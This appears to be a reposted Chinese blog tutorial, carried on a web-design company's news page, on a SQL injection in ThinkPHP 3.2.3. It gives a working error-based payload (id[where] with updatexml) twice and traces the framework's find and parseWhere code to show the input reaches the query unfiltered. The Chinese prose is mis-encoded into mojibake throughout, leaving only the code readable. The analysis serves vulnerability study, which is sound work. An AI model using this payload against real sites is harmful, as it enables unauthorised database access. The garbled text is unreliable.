新聞中心
本篇文章給大家?guī)砹岁P(guān)于thinkphp的相關(guān)知識(shí),其中主要介紹了thinkPHP3.2.3sql注入漏洞的相關(guān)問題,其中還包括了m方法、d方法、u方法等相關(guān)內(nèi)容,希望對(duì)大家有幫助。

成都網(wǎng)站建設(shè)哪家好,找創(chuàng)新互聯(lián)公司!專注于網(wǎng)頁(yè)設(shè)計(jì)、成都網(wǎng)站建設(shè)、微信開發(fā)、微信小程序開發(fā)、集團(tuán)成都定制網(wǎng)站等服務(wù)項(xiàng)目。核心團(tuán)隊(duì)均擁有互聯(lián)網(wǎng)行業(yè)多年經(jīng)驗(yàn),服務(wù)眾多知名企業(yè)客戶;涵蓋的客戶類型包括:玻璃貼膜等眾多領(lǐng)域,積累了大量豐富的經(jīng)驗(yàn),同時(shí)也獲得了客戶的一致認(rèn)可!
推薦學(xué)習(xí):《PHP視頻教程》
攻敵所必救:
-
ThinkPHP中的常用方法匯總總結(jié):M方法,D方法,U方法,I方法
-
Thinkphp3.2.3 安全開發(fā)須知
搭建:
-
首先第一步就是必須先放在www目錄下(我是windows用的phpstudy)?。。?!
-
創(chuàng)建數(shù)據(jù)庫(kù),表名一定與你接下來要M的名字的相對(duì)應(yīng)
-
連接數(shù)據(jù)庫(kù)的文件不多說了,自己配置:ThinkPHP/Conf/convention.php
-
配置控制器:\WWW\thinkphp3.2.3\Application\Home\Controller\IndexController.class.php
show('原來內(nèi)容已經(jīng)省略,太占地方'); $data = M('user')->find(I('GET.id')); var_dump($data); }} -
測(cè)試:
正文
payload:
?id[where]=1 and 1=updatexml(1,concat(0x7e,user(),0x7e),1)%23
確實(shí)報(bào)錯(cuò)注入成功,一切都是因?yàn)檫@句代碼的存在:$data = M('user')->find(I('GET.id'));
I和M方法都沒有什么問題,真正的問題在于
- find 方法上,來自
/ThinkPHP/Mode/Lite/Model.class.php
public function find($options=array()) {
// 根據(jù)復(fù)合主鍵查找記錄
$pk = $this->getPk();
if (is_array($options) && (count($options) > 0) && is_array($pk)) {//但是會(huì)進(jìn)入這里
// 根據(jù)復(fù)合主鍵查詢
$count = 0;
foreach (array_keys($options) as $key) {
if (is_int($key)) $count++;
}
if ($count == count($pk)) {
$i = 0;
foreach ($pk as $field) {
$where[$field] = $options[$i];
unset($options[$i++]);
}
$options['where'] = $where;
} else {
return false;
}
}
// 總是查找一條記錄
$options['limit'] = 1;
// 分析表達(dá)式
$options = $this->_parseOptions($options);//前面都沒有什么影響,重點(diǎn)是這里的函數(shù)調(diào)用
$resultSet = $this->db->select($options);//重要的一步
2._parseOptions:因?yàn)橹饕槍?duì)options[where]所以無(wú)關(guān)代碼我全刪除了
/ThinkPHP/Library/Think/Model.class.php
protected function _parseOptions($options=array()) {
if(is_array($options))
$options = array_merge($this->options,$options);
// 字段類型驗(yàn)證
if(isset($options['where']) && is_array($options['where']) && !empty($fields) && !isset($options['join'])) {//這里不滿足is_array($options['where'])
// 對(duì)數(shù)組查詢條件進(jìn)行字段類型檢查
foreach ($options['where'] as $key=>$val){
$key = trim($key);
if(in_array($key,$fields,true)){
if(is_scalar($val)) {
$this->_parseType($options['where'],$key);
}
}elseif(!is_numeric($key) && '_' != substr($key,0,1) && false === strpos($key,'.') && false === strpos($key,'(') && false === strpos($key,'|') && false === strpos($key,'&')){
if(!empty($this->options['strict'])){
E(L('_ERROR_QUERY_EXPRESS_').':['.$key.'=>'.$val.']');
}
unset($options['where'][$key]);
}
}
}
//上面均沒用,到現(xiàn)在開始有用:?
// 查詢過后清空sql表達(dá)式組裝 避免影響下次查詢
$this->options = array();
// 表達(dá)式過濾
$this->_options_filter($options);//這里值得注意
return $options;
}
3._options_filter
到這就無(wú)了
而且上面的操作也會(huì)清零 $options,所以這里可能是進(jìn)錯(cuò)了
所以更正第二部的跟蹤,改為
2.select:/ThinkPHP/Library/Think/Db/Driver.class.php
public function select($options=array()) {
$this->model = $options['model'];
$this->parseBind(!empty($options['bind'])?$options['bind']:array());
$sql = $this->buildSelectSql($options);
$result = $this->query($sql,!empty($options['fetch_sql']) ? true : false);
return $result;
}
3.buildSelectSql:地址同上
public function buildSelectSql($options=array()) {
if(isset($options['page'])) {
// 根據(jù)頁(yè)數(shù)計(jì)算limit
list($page,$listRows) = $options['page'];
$page = $page>0 ? $page : 1;
$listRows= $listRows>0 ? $listRows : (is_numeric($options['limit'])?$options['limit']:20);
$offset = $listRows*($page-1);
$options['limit'] = $offset.','.$listRows;
}
$sql = $this->parseSql($this->selectSql,$options);
return $sql;
}
4.parseSql:地址同上
public function parseSql($sql,$options=array()){
$sql = str_replace(
array('%TABLE%','%DISTINCT%','%FIELD%','%JOIN%','%WHERE%','%GROUP%','%HAVING%','%ORDER%','%LIMIT%','%UNION%','%LOCK%','%COMMENT%','%FORCE%'),
array(
$this->parseTable($options['table']),
$this->parseDistinct(isset($options['distinct'])?$options['distinct']:false),
$this->parseField(!empty($options['field'])?$options['field']:'*'),
$this->parseJoin(!empty($options['join'])?$options['join']:''),
$this->parseWhere(!empty($options['where'])?$options['where']:''),
$this->parseGroup(!empty($options['group'])?$options['group']:''),
$this->parseHaving(!empty($options['having'])?$options['having']:''),
$this->parseOrder(!empty($options['order'])?$options['order']:''),
$this->parseLimit(!empty($options['limit'])?$options['limit']:''),
$this->parseUnion(!empty($options['union'])?$options['union']:''),
$this->parseLock(isset($options['lock'])?$options['lock']:false),
$this->parseComment(!empty($options['comment'])?$options['comment']:''),
$this->parseForce(!empty($options['force'])?$options['force']:'')
),$sql);
return $sql;
}
5.parseWhere:同上
protected function parseWhere($where) {
$whereStr = '';
if(is_string($where)) {//直接滿足,直接進(jìn)入
// 直接使用字符串條件
$whereStr = $where;
}else{ // 使用數(shù)組表達(dá)式
}
return empty($whereStr)?'':' WHERE '.$whereStr;}
最后$sql=where 1 and 1=updatexml(1,concat(0x7e,user(),0x7e),1)%23
然后
$result = $this->query($sql,!empty($options['fetch_sql']) ? true : false);return $result;
整個(gè)過程沒有任何過濾,seay分析thinkPHP太飛費(fèi)勁了
PHPstorm斷點(diǎn)審計(jì):
payload不變:
?id[where]=1 and 1=updatexml(1,concat(0x7e,user(),0x7e),1)%23
還是跟蹤find函數(shù):
跟蹤到這里步入一下,繼續(xù)跟蹤,跟蹤到最后會(huì)跳出這個(gè)函數(shù)并且,值依然沒有改變,同時(shí)步入下一個(gè)函數(shù)
經(jīng)核實(shí),步入到了另一個(gè)函數(shù)中:
繼續(xù)跟蹤buildSelectSql:
繼續(xù)跟蹤parseSql:
最后的代碼變成了:
SELECT * FROM user WHERE 1 and 1=updatexml(1,concat(0x7e,user(),0x7e),1)# LIMIT 1
還是debug起來方便,基本不需要怎么動(dòng)腦
當(dāng)前題目:一起聊聊thinkPHP3.2.3中sql注入漏洞
鏈接地址:http://www.5511xx.com/article/dhhjejc.html


咨詢
建站咨詢
